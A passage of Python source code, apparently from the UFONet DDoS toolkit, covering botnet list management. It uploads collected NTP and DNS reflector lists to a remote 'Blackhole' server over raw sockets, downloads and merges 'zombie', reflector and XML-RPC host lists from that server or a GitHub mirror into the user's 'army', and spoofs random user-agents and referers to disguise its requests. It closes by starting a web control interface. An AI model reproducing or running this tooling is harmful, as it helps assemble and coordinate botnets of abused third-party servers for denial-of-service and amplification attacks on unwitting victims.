  1920. os.remove('botnet/community_ntps.txt.gz') # remove local ntps .gz file after transfer
  1921. time.sleep(1)
  1922. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  1923. cs.connect(host, cport)
  1924. cs.send("SEND " + 'community_dnss.txt.gz')
  1925. cs.close()
  1926. f = open('botnet/community_dnss.txt.gz', "rb")
  1927. data = f.read()
  1928. f.close()
  1929. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1930. ms.connect(host, mport)
  1931. ms.send(data)
  1932. ms.close()
  1933. os.remove('botnet/community_dnss.txt.gz') # remove local dnss .gz file after transfer
  1934. time.sleep(2) # sleep a bit more
  1935. print('-'*12 + '\n')
  1936. print("[Info] [AI] Transfer -> [DONE!]\n")
  1937. except Exception as e:
  1938. print(str(e) + "\n")
  1939. except:
  1940. print('-'*12 + '\n')
  1941. print("[Error] [AI] Connecting sockets to [Blackhole] -> [Aborting!]\n")
  1942. return
  1943. except:
  1944. print('-'*12 + '\n')
  1945. print("[Error] [AI] Unable to upload list of [Zombies] to this [Blackhole] -> [Exiting!]\n")
  1946. return
  1947. def update_gui_data(self):
  1948. # download all GUI stream data
  1949. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  1950. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1951. if self.options.proxy: # set proxy
  1952. self.proxy_transport(self.options.proxy)
  1953. if self.options.timeout: # set timeout
  1954. try:
  1955. timeout = int(self.options.timeout)
  1956. except:
  1957. timeout = 5
  1958. else:
  1959. timeout = 5
  1960. if timeout < 1:
  1961. timeout = 5
  1962. if self.options.forcessl:
  1963. news = urllib.request.Request('https://'+self.blackhole+'/ufonet/news.txt', None, headers)
  1964. news_reply = urllib.request.urlopen(news, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1965. missions = urllib.request.Request('https://'+self.blackhole+'/ufonet/missions.txt', None, headers)
  1966. missions_reply = urllib.request.urlopen(missions, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1967. board = urllib.request.Request('https://'+self.blackhole+'/ufonet/board.txt', None, headers)
  1968. board_reply = urllib.request.urlopen(board, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1969. grid = urllib.request.Request('https://'+self.blackhole+'/ufonet/grid.txt', None, headers)
  1970. grid_reply = urllib.request.urlopen(grid, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1971. wargames = urllib.request.Request('https://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
  1972. wargames_reply = urllib.request.urlopen(wargames, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1973. else:
  1974. news = urllib.request.Request('http://'+self.blackhole+'/ufonet/news.txt', None, headers)
  1975. news_reply = urllib.request.urlopen(news, context=self.ctx).read().decode('utf-8')
  1976. missions = urllib.request.Request('http://'+self.blackhole+'/ufonet/missions.txt', None, headers)
  1977. missions_reply = urllib.request.urlopen(missions, context=self.ctx).read().decode('utf-8')
  1978. board = urllib.request.Request('http://'+self.blackhole+'/ufonet/board.txt', None, headers)
  1979. board_reply = urllib.request.urlopen(board, context=self.ctx).read().decode('utf-8')
  1980. grid = urllib.request.Request('http://'+self.blackhole+'/ufonet/grid.txt', None, headers)
  1981. grid_reply = urllib.request.urlopen(grid, context=self.ctx).read().decode('utf-8')
  1982. wargames = urllib.request.Request('http://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
  1983. wargames_reply = urllib.request.urlopen(wargames, context=self.ctx).read().decode('utf-8')
  1984. f = open(self.news_file, 'w')
  1985. f.write(news_reply)
  1986. f.close()
  1987. f = open(self.missions_file, 'w')
  1988. f.write(missions_reply)
  1989. f.close()
  1990. f = open(self.board_file, 'w')
  1991. f.write(board_reply)
  1992. f.close()
  1993. f = open(self.grid_file, 'w')
  1994. f.write(grid_reply)
  1995. f.close()
  1996. f = open(self.wargames_file, 'w')
  1997. f.write(wargames_reply)
  1998. f.close()
  1999. print('-'*25 + "\n")
  2000. print("[Info] [AI] GUI data correctly updated:\n")
  2001. if news_reply:
  2002. print("[Info] [AI] [News] : OK!")
  2003. if missions_reply:
  2004. print("[Info] [AI] [Missions]: OK!")
  2005. if board_reply:
  2006. print("[Info] [AI] [Board] : OK!")
  2007. if grid_reply:
  2008. print("[Info] [AI] [Grid] : OK!")
  2009. if wargames_reply:
  2010. print("[Info] [AI] [Wargames]: OK!")
  2011. print('-'*25)
  2012. print("\n[AI] "+self.exit_msg+"\n")
  2013. def downloading_list(self):
  2014. # add your mirror to protect/share/distribute... [Zombies]
  2015. try:
  2016. print(("[AI] Trying [Blackhole] [Server]: "+self.blackhole+"\n"))
  2017. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2018. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2019. if self.options.timeout: # set timeout
  2020. try:
  2021. timeout = int(self.options.timeout)
  2022. except:
  2023. timeout = 5
  2024. else:
  2025. timeout = 5
  2026. if timeout < 1:
  2027. timeout = 5
  2028. if self.options.proxy: # set proxy
  2029. self.proxy_transport(self.options.proxy)
  2030. if self.options.forcessl:
  2031. try:
  2032. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  2033. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2034. except:
  2035. abductions_reply = ""
  2036. try:
  2037. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  2038. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2039. except:
  2040. troops_reply = ""
  2041. try:
  2042. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  2043. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2044. except:
  2045. robots_reply = ""
  2046. try:
  2047. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  2048. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2049. except:
  2050. drones_reply = ""
  2051. try:
  2052. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  2053. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2054. except:
  2055. reflectors_reply = ""
  2056. try:
  2057. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  2058. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2059. except:
  2060. crystals_reply = ""
  2061. try:
  2062. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  2063. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2064. except:
  2065. warps_reply = ""
  2066. else:
  2067. try:
  2068. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  2069. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2070. except:
  2071. abductions_reply = ""
  2072. try:
  2073. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  2074. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2075. except:
  2076. troops_reply = ""
  2077. try:
  2078. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  2079. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2080. except:
  2081. robots_reply = ""
  2082. try:
  2083. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  2084. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2085. except:
  2086. drones_reply = ""
  2087. try:
  2088. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  2089. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2090. except:
  2091. reflectors_reply = ""
  2092. try:
  2093. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  2094. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2095. except:
  2096. crystals_reply = ""
  2097. try:
  2098. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  2099. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2100. except:
  2101. warps_reply = ""
  2102. if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "":
  2103. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  2104. print('-'*12 + '\n')
  2105. print("[Info] [AI] You can try to download [Zombies] from a different [Blackhole] [Server] (provided by someone!) with:\n\n ex: ufonet --down-from '<IP>'")
  2106. print("\nOr/And from a [Blackhole] [GitHub] with:\n\n ex: ufonet --download-github")
  2107. print('-'*12 + '\n')
  2108. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [Server] -> [Exiting!]\n")
  2109. return
  2110. f = open('botnet/abductions.txt.gz', 'wb')
  2111. f.write(abductions_reply)
  2112. f.close()
  2113. f = open('botnet/troops.txt.gz', 'wb')
  2114. f.write(troops_reply)
  2115. f.close()
  2116. f = open('botnet/robots.txt.gz', 'wb')
  2117. f.write(robots_reply)
  2118. f.close()
  2119. f = open('botnet/drones.txt.gz', 'wb')
  2120. f.write(drones_reply)
  2121. f.close()
  2122. f = open('botnet/reflectors.txt.gz', 'wb')
  2123. f.write(reflectors_reply)
  2124. f.close()
  2125. f = open('botnet/crystals.txt.gz', 'wb')
  2126. f.write(crystals_reply)
  2127. f.close()
  2128. f = open('botnet/warps.txt.gz', 'wb')
  2129. f.write(warps_reply)
  2130. f.close()
  2131. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)")
  2132. except:
  2133. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  2134. print('-'*12 + '\n')
  2135. print("[Info] [AI] You can try to download [Zombies] from a different [Blackhole] [Server] (provided by someone!) with:\n\n ex: ufonet --down-from '<IP>'")
  2136. print("\nOr/And from a [Blackhole] [GitHub] with:\n\n ex: ufonet --download-github")
  2137. print('-'*12 + '\n')
  2138. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [Server] -> [Exiting!]\n")
  2139. return
  2140. print('-'*12 + '\n')
  2141. f_in_abductions = gzip.open('botnet/abductions.txt.gz', 'rb')
  2142. f_out_abductions = open('botnet/abductions.txt', 'wb')
  2143. f_out_abductions.write(f_in_abductions.read())
  2144. f_in_abductions.close()
  2145. f_out_abductions.close()
  2146. os.remove('botnet/abductions.txt.gz') # remove abductions .gz file
  2147. f_in_troops = gzip.open('botnet/troops.txt.gz', 'rb')
  2148. f_out_troops = open('botnet/troops.txt', 'wb')
  2149. f_out_troops.write(f_in_troops.read())
  2150. f_in_troops.close()
  2151. f_out_troops.close()
  2152. os.remove('botnet/troops.txt.gz') # remove troops .gz file
  2153. f_in_robots = gzip.open('botnet/robots.txt.gz', 'rb')
  2154. f_out_robots = open('botnet/robots.txt', 'wb')
  2155. f_out_robots.write(f_in_robots.read())
  2156. f_in_robots.close()
  2157. f_out_robots.close()
  2158. os.remove('botnet/robots.txt.gz') # remove robots .gz file
  2159. f_in_drones = gzip.open('botnet/drones.txt.gz', 'rb')
  2160. f_out_drones = open('botnet/drones.txt', 'wb')
  2161. f_out_drones.write(f_in_drones.read())
  2162. f_in_drones.close()
  2163. f_out_drones.close()
  2164. os.remove('botnet/drones.txt.gz') # remove drones .gz file
  2165. f_in_reflectors = gzip.open('botnet/reflectors.txt.gz', 'rb')
  2166. f_out_reflectors = open('botnet/reflectors.txt', 'wb')
  2167. f_out_reflectors.write(f_in_reflectors.read())
  2168. f_in_reflectors.close()
  2169. f_out_reflectors.close()
  2170. os.remove('botnet/reflectors.txt.gz') # remove reflectors .gz file
  2171. f_in_crystals = gzip.open('botnet/crystals.txt.gz', 'rb')
  2172. f_out_crystals = open('botnet/crystals.txt', 'wb')
  2173. f_out_crystals.write(f_in_crystals.read())
  2174. f_in_crystals.close()
  2175. f_out_crystals.close()
  2176. os.remove('botnet/crystals.txt.gz') # remove crystals .gz file
  2177. f_in_warps = gzip.open('botnet/warps.txt.gz', 'rb')
  2178. f_out_warps = open('botnet/warps.txt', 'wb')
  2179. f_out_warps.write(f_in_warps.read())
  2180. f_in_warps.close()
  2181. f_out_warps.close()
  2182. os.remove('botnet/warps.txt.gz') # remove warps .gz file
  2183. num_abductions = 0
  2184. with open('botnet/abductions.txt') as f:
  2185. for _ in f:
  2186. num_abductions = num_abductions + 1
  2187. print("[Info] Zombies: " + str(num_abductions))
  2188. num_robots = 0
  2189. with open('botnet/robots.txt') as f:
  2190. for _ in f:
  2191. num_robots = num_robots + 1
  2192. print("[Info] Droids : " + str(num_robots))
  2193. num_troops = 0
  2194. with open('botnet/troops.txt') as f:
  2195. for _ in f:
  2196. num_troops = num_troops + 1
  2197. print("[Info] Aliens : " + str(num_troops))
  2198. num_drones = 0
  2199. with open('botnet/drones.txt') as f:
  2200. for _ in f:
  2201. num_drones = num_drones + 1
  2202. print("[Info] UCAVs : " + str(num_drones))
  2203. num_reflectors = 0
  2204. with open('botnet/reflectors.txt') as f:
  2205. for _ in f:
  2206. num_reflectors = num_reflectors + 1
  2207. print("[Info] X-RPCs : " + str(num_reflectors))
  2208. num_crystals = 0
  2209. with open('botnet/crystals.txt') as f:
  2210. for _ in f:
  2211. num_crystals = num_crystals + 1
  2212. print("[Info] DNSs : " + str(num_crystals))
  2213. num_warps = 0
  2214. with open('botnet/warps.txt') as f:
  2215. for _ in f:
  2216. num_warps = num_warps + 1
  2217. print("[Info] NTPs : " + str(num_warps))
  2218. total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps
  2219. print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
  2220. print('-'*12)
  2221. if not self.options.forceyes:
  2222. update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
  2223. print('-'*25)
  2224. else:
  2225. update_reply = "Y"
  2226. if update_reply == "n" or update_reply == "N":
  2227. os.remove('botnet/abductions.txt') # remove abductions file
  2228. os.remove('botnet/troops.txt') # remove troops file
  2229. os.remove('botnet/robots.txt') # remove robots file
  2230. os.remove('botnet/drones.txt') # remove drones file
  2231. os.remove('botnet/reflectors.txt') # remove reflectors file
  2232. os.remove('botnet/crystals.txt') # remove crystals file
  2233. os.remove('botnet/warps.txt') # remove warps file
  2234. print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")
  2235. print('-'*25)
  2236. print("\n[AI] "+self.exit_msg+"\n")
  2237. else:
  2238. zombies_ready = []
  2239. f = open('botnet/abductions.txt')
  2240. abductions = f.readlines()
  2241. f.close()
  2242. fz = open(self.zombies_file)
  2243. zombies = fz.readlines()
  2244. fz.close()
  2245. for abduction in abductions:
  2246. abduction = abduction.replace('\n','')
  2247. if abduction not in zombies:
  2248. zombies_ready.append(abduction)
  2249. else:
  2250. pass
  2251. self.update_zombies(zombies_ready)
  2252. os.remove('botnet/abductions.txt') # remove abductions .txt file
  2253. aliens_ready = []
  2254. f = open('botnet/troops.txt')
  2255. troops = f.readlines()
  2256. f.close()
  2257. fz = open(self.aliens_file)
  2258. aliens = fz.readlines()
  2259. fz.close()
  2260. for alien in troops:
  2261. alien = alien.replace('\n','')
  2262. if alien not in aliens:
  2263. aliens_ready.append(alien)
  2264. else:
  2265. pass
  2266. self.update_aliens(aliens_ready)
  2267. os.remove('botnet/troops.txt') # remove troops .txt file
  2268. droids_ready = []
  2269. f = open('botnet/robots.txt')
  2270. robots = f.readlines()
  2271. f.close()
  2272. fz = open(self.droids_file)
  2273. droids = fz.readlines()
  2274. fz.close()
  2275. for droid in robots:
  2276. droid = droid.replace('\n','')
  2277. if droid not in droids:
  2278. droids_ready.append(droid)
  2279. else:
  2280. pass
  2281. self.update_droids(droids_ready)
  2282. os.remove('botnet/robots.txt') # remove robots .txt file
  2283. ucavs_ready = []
  2284. f = open('botnet/drones.txt')
  2285. drones = f.readlines()
  2286. f.close()
  2287. fz = open(self.ucavs_file)
  2288. ucavs = fz.readlines()
  2289. fz.close()
  2290. for drone in drones:
  2291. drone = drone.replace('\n','')
  2292. if drone not in ucavs:
  2293. ucavs_ready.append(drone)
  2294. else:
  2295. pass
  2296. self.update_ucavs(ucavs_ready)
  2297. os.remove('botnet/drones.txt') # remove drones .txt file
  2298. rpcs_ready = []
  2299. f = open('botnet/reflectors.txt')
  2300. reflectors = f.readlines()
  2301. f.close()
  2302. fz = open(self.rpcs_file)
  2303. rpcs = fz.readlines()
  2304. fz.close()
  2305. for reflector in reflectors:
  2306. reflector = reflector.replace('\n','')
  2307. if reflector not in rpcs:
  2308. rpcs_ready.append(reflector)
  2309. else:
  2310. pass
  2311. self.update_rpcs(rpcs_ready)
  2312. os.remove('botnet/reflectors.txt') # remove reflectors .txt file
  2313. dnss_ready = []
  2314. f = open('botnet/crystals.txt')
  2315. crystals = f.readlines()
  2316. f.close()
  2317. fz = open(self.dnss_file)
  2318. dnss = fz.readlines()
  2319. fz.close()
  2320. for crystal in crystals:
  2321. crystal = crystal.replace('\n','')
  2322. if crystal not in dnss:
  2323. dnss_ready.append(crystal)
  2324. else:
  2325. pass
  2326. self.update_dnss(dnss_ready)
  2327. os.remove('botnet/crystals.txt') # remove crystals .txt file
  2328. ntps_ready = []
  2329. f = open('botnet/warps.txt')
  2330. warps = f.readlines()
  2331. f.close()
  2332. fz = open(self.ntps_file)
  2333. ntps = fz.readlines()
  2334. fz.close()
  2335. for warp in warps:
  2336. warp = warp.replace('\n','')
  2337. if warp not in ntps:
  2338. ntps_ready.append(warp)
  2339. else:
  2340. pass
  2341. self.update_ntps(ntps_ready)
  2342. os.remove('botnet/warps.txt') # remove warps .txt file
  2343. print("\n[Info] [AI] Botnet updated! -> ;-)")
  2344. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  2345. if not self.options.forceyes: # ask for update everything
  2346. print('-'*25 + "\n")
  2347. update_reply = input("[AI] You would also like to update other content: [News] [Grid] [Board]... (Y/n)")
  2348. else:
  2349. update_reply = "Y"
  2350. if update_reply == "n" or update_reply == "N":
  2351. print("\n[AI] "+self.exit_msg+"\n")
  2352. return
  2353. else:
  2354. try:
  2355. update_gui = self.update_gui_data() # update GUI data
  2356. except:
  2357. print('-'*25 +"\n")
  2358. print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")
  2359. print('-'*25)
  2360. print("\n[AI] "+self.exit_msg+"\n")
  2361. return
  2362. def downloading_github_list(self):
  2363. # add your mirror to protect/share/distribute... [Zombies]
  2364. try:
  2365. print(("[AI] Trying [Blackhole] [GitHub]: "+self.github_zombies+"\n"))
  2366. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2367. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2368. if self.options.timeout: # set timeout
  2369. try:
  2370. timeout = int(self.options.timeout)
  2371. except:
  2372. timeout = 5
  2373. else:
  2374. timeout = 5
  2375. if timeout < 1:
  2376. timeout = 5
  2377. if self.options.proxy: # set proxy
  2378. self.proxy_transport(self.options.proxy)
  2379. try:
  2380. req = urllib.request.Request(self.github_zombies+'zombies.txt', None, headers)
  2381. zombies_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2382. except:
  2383. zombies_reply = ""
  2384. try:
  2385. req = urllib.request.Request(self.github_zombies+'aliens.txt', None, headers)
  2386. aliens_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2387. except:
  2388. aliens_reply = ""
  2389. try:
  2390. req = urllib.request.Request(self.github_zombies+'dns.txt', None, headers)
  2391. dns_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2392. except:
  2393. dns_reply = ""
  2394. try:
  2395. req = urllib.request.Request(self.github_zombies+'droids.txt', None, headers)
  2396. droids_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2397. except:
  2398. droids_reply = ""
  2399. try:
  2400. req = urllib.request.Request(self.github_zombies+'rpcs.txt', None, headers)
  2401. rpcs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2402. except:
  2403. rpcs_reply = ""
  2404. try:
  2405. req = urllib.request.Request(self.github_zombies+'ucavs.txt', None, headers)
  2406. ucavs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2407. except:
  2408. ucavs_reply = ""
  2409. try:
  2410. req = urllib.request.Request(self.github_zombies+'ntp.txt', None, headers)
  2411. ntp_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2412. except:
  2413. ntp_reply = ""
  2414. if zombies_reply == "" and aliens_reply == "" and dns_reply == "" and droids_reply == "" and rpcs_reply == "" and ucavs_reply == "" and ntp_reply == "":
  2415. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")
  2416. print('-'*12 + '\n')
  2417. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")
  2418. return
  2419. f = open('botnet/abductions.txt', 'w') # zombies
  2420. f.write(zombies_reply)
  2421. f.close()
  2422. f = open('botnet/troops.txt', 'w') # aliens
  2423. f.write(aliens_reply)
  2424. f.close()
  2425. f = open('botnet/crystals.txt', 'w') # dns
  2426. f.write(dns_reply)
  2427. f.close()
  2428. f = open('botnet/robots.txt', 'w') # droids
  2429. f.write(droids_reply)
  2430. f.close()
  2431. f = open('botnet/drones.txt', 'w') # ucavs
  2432. f.write(ucavs_reply)
  2433. f.close()
  2434. f = open('botnet/reflectors.txt', 'w') # rpcs
  2435. f.write(rpcs_reply)
  2436. f.close()
  2437. f = open('botnet/warps.txt', 'w') # ntp
  2438. f.write(ntp_reply)
  2439. f.close()
  2440. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX READY!] ;-)")
  2441. except:
  2442. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")
  2443. print('-'*12 + '\n')
  2444. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")
  2445. return
  2446. print('-'*12 + '\n')
  2447. num_abductions = 0
  2448. with open('botnet/abductions.txt') as f: # zombies
  2449. for _ in f:
  2450. num_abductions = num_abductions + 1
  2451. print("[Info] Zombies: " + str(num_abductions))
  2452. num_troops = 0
  2453. with open('botnet/troops.txt') as f: # aliens
  2454. for _ in f:
  2455. num_troops = num_troops + 1
  2456. print("[Info] Aliens : " + str(num_troops))
  2457. num_robots = 0
  2458. with open('botnet/robots.txt') as f: # droids
  2459. for _ in f:
  2460. num_robots = num_robots + 1
  2461. print("[Info] Droids : " + str(num_robots))
  2462. num_drones = 0
  2463. with open('botnet/drones.txt') as f: # ucavs
  2464. for _ in f:
  2465. num_drones = num_drones + 1
  2466. print("[Info] UCAVs : " + str(num_drones))
  2467. num_reflectors = 0
  2468. with open('botnet/reflectors.txt') as f: # rpcs
  2469. for _ in f:
  2470. num_reflectors = num_reflectors + 1
  2471. print("[Info] X-RPCs : " + str(num_reflectors))
  2472. num_crystals = 0
  2473. with open('botnet/crystals.txt') as f: # dns
  2474. for _ in f:
  2475. num_crystals = num_crystals + 1
  2476. print("[Info] DNSs : " + str(num_crystals))
  2477. num_warps = 0
  2478. with open('botnet/warps.txt') as f: # ntp
  2479. for _ in f:
  2480. num_warps = num_warps + 1
  2481. print("[Info] NTPs : " + str(num_warps))
  2482. total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps
  2483. print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
  2484. print('-'*12)
  2485. if not self.options.forceyes:
  2486. update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
  2487. print('-'*25)
  2488. else:
  2489. update_reply = "Y"
  2490. if update_reply == "n" or update_reply == "N":
  2491. os.remove('botnet/abductions.txt') # remove zombies/abductions file
  2492. os.remove('botnet/troops.txt') # remove aliens/troops file
  2493. os.remove('botnet/crystals.txt') # remove dns/crystals file
  2494. os.remove('botnet/robots.txt') # remove droids/robots file
  2495. os.remove('botnet/drones.txt') # remove ucavs/drones file
  2496. os.remove('botnet/reflectors.txt') # remove rpcs/reflectors file
  2497. os.remove('botnet/warps.txt') # remove ntp/warps file
  2498. print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")
  2499. print('-'*25)
  2500. print("\n[AI] "+self.exit_msg+"\n")
  2501. else:
  2502. zombies_ready = []
  2503. f = open('botnet/abductions.txt')
  2504. abductions = f.readlines()
  2505. f.close()
  2506. fz = open(self.zombies_file)
  2507. zombies = fz.readlines()
  2508. fz.close()
  2509. for abduction in abductions:
  2510. abduction = abduction.replace('\n','')
  2511. if abduction not in zombies:
  2512. zombies_ready.append(abduction)
  2513. else:
  2514. pass
  2515. self.update_zombies(zombies_ready)
  2516. os.remove('botnet/abductions.txt') # remove zombies/abductions file
  2517. aliens_ready = []
  2518. f = open('botnet/troops.txt')
  2519. troops = f.readlines()
  2520. f.close()
  2521. fz = open(self.aliens_file)
  2522. aliens = fz.readlines()
  2523. fz.close()
  2524. for alien in troops:
  2525. alien = alien.replace('\n','')
  2526. if alien not in aliens:
  2527. aliens_ready.append(alien)
  2528. else:
  2529. pass
  2530. self.update_aliens(aliens_ready)
  2531. os.remove('botnet/troops.txt') # remove aliens/troops file
  2532. dnss_ready = []
  2533. f = open('botnet/crystals.txt')
  2534. crystals = f.readlines()
  2535. f.close()
  2536. fz = open(self.dnss_file)
  2537. dnss = fz.readlines()
  2538. fz.close()
  2539. for crystal in crystals:
  2540. crystal = crystal.replace('\n','')
  2541. if crystal not in dnss:
  2542. dnss_ready.append(crystal)
  2543. else:
  2544. pass
  2545. self.update_dnss(dnss_ready)
  2546. os.remove('botnet/crystals.txt') # remove dns/crystals file
  2547. droids_ready = []
  2548. f = open('botnet/robots.txt')
  2549. robots = f.readlines()
  2550. f.close()
  2551. fz = open(self.droids_file)
  2552. droids = fz.readlines()
  2553. fz.close()
  2554. for droid in robots:
  2555. droid = droid.replace('\n','')
  2556. if droid not in droids:
  2557. droids_ready.append(droid)
  2558. else:
  2559. pass
  2560. self.update_droids(droids_ready)
  2561. os.remove('botnet/robots.txt') # remove droids/robots file
  2562. ucavs_ready = []
  2563. f = open('botnet/drones.txt')
  2564. drones = f.readlines()
  2565. f.close()
  2566. fz = open(self.ucavs_file)
  2567. ucavs = fz.readlines()
  2568. fz.close()
  2569. for drone in drones:
  2570. drone = drone.replace('\n','')
  2571. if drone not in ucavs:
  2572. ucavs_ready.append(drone)
  2573. else:
  2574. pass
  2575. self.update_ucavs(ucavs_ready)
  2576. os.remove('botnet/drones.txt') # remove UCAVs/drones file
  2577. rpcs_ready = []
  2578. f = open('botnet/reflectors.txt')
  2579. reflectors = f.readlines()
  2580. f.close()
  2581. fz = open(self.rpcs_file)
  2582. rpcs = fz.readlines()
  2583. fz.close()
  2584. for reflector in reflectors:
  2585. reflector = reflector.replace('\n','')
  2586. if reflector not in rpcs:
  2587. rpcs_ready.append(reflector)
  2588. else:
  2589. pass
  2590. self.update_rpcs(rpcs_ready)
  2591. os.remove('botnet/reflectors.txt') # remove RPCs/reflectors file
  2592. ntps_ready = []
  2593. f = open('botnet/warps.txt')
  2594. warps = f.readlines()
  2595. f.close()
  2596. fz = open(self.ntps_file)
  2597. ntps = fz.readlines()
  2598. fz.close()
  2599. for warp in warps:
  2600. warp = warp.replace('\n','')
  2601. if warp not in ntps:
  2602. ntps_ready.append(warp)
  2603. else:
  2604. pass
  2605. self.update_ntps(ntps_ready)
  2606. os.remove('botnet/warps.txt') # remove NTP/warps file
  2607. print("\n[Info] [AI] Botnet updated! -> ;-)")
  2608. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  2609. if not self.options.forceyes: # ask for update everything
  2610. print('-'*25 + "\n")
  2611. update_reply = input("[AI] You would also like to update other content: [News] [Grid] [Board]... (Y/n)")
  2612. else:
  2613. update_reply = "Y"
  2614. if update_reply == "n" or update_reply == "N":
  2615. print("\n[AI] "+self.exit_msg+"\n")
  2616. return
  2617. else:
  2618. try:
  2619. update_gui = self.update_gui_data() # update GUI data
  2620. except:
  2621. print('-'*25 +"\n")
  2622. print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")
  2623. print('-'*25)
  2624. print("\n[AI] "+self.exit_msg+"\n")
  2625. return
  2626. def uploading_github_list(self):
  2627. print(" 0. Set a different URL (if required) for code repository sources:\n\n [current: "+self.github_zombies+"]\n")
  2628. print(" 1. Test your 'zombies' to upload only those that really work (ex: ufonet --test-all).")
  2629. print(" 2. Make a -PULL REQUEST- to the owner of the code repository.")
  2630. print(" 3. Share your updates in the #UFONet 'motherships'...\n")
  2631. print('='*22 + '\n')
  2632. print("[AI] "+self.exit_msg+"\n")
  2633. def create_web_interface(self):
  2634. # launch webserver+gui
  2635. from .webgui import ClientThread
  2636. import webbrowser
  2637. host = '0.0.0.0'
  2638. port = 9999
  2639. try:
  2640. webbrowser.open('http://127.0.0.1:9999', new=1)
  2641. tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2642. tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  2643. tcpsock.bind((host,port))
  2644. while True:
  2645. tcpsock.listen(4)
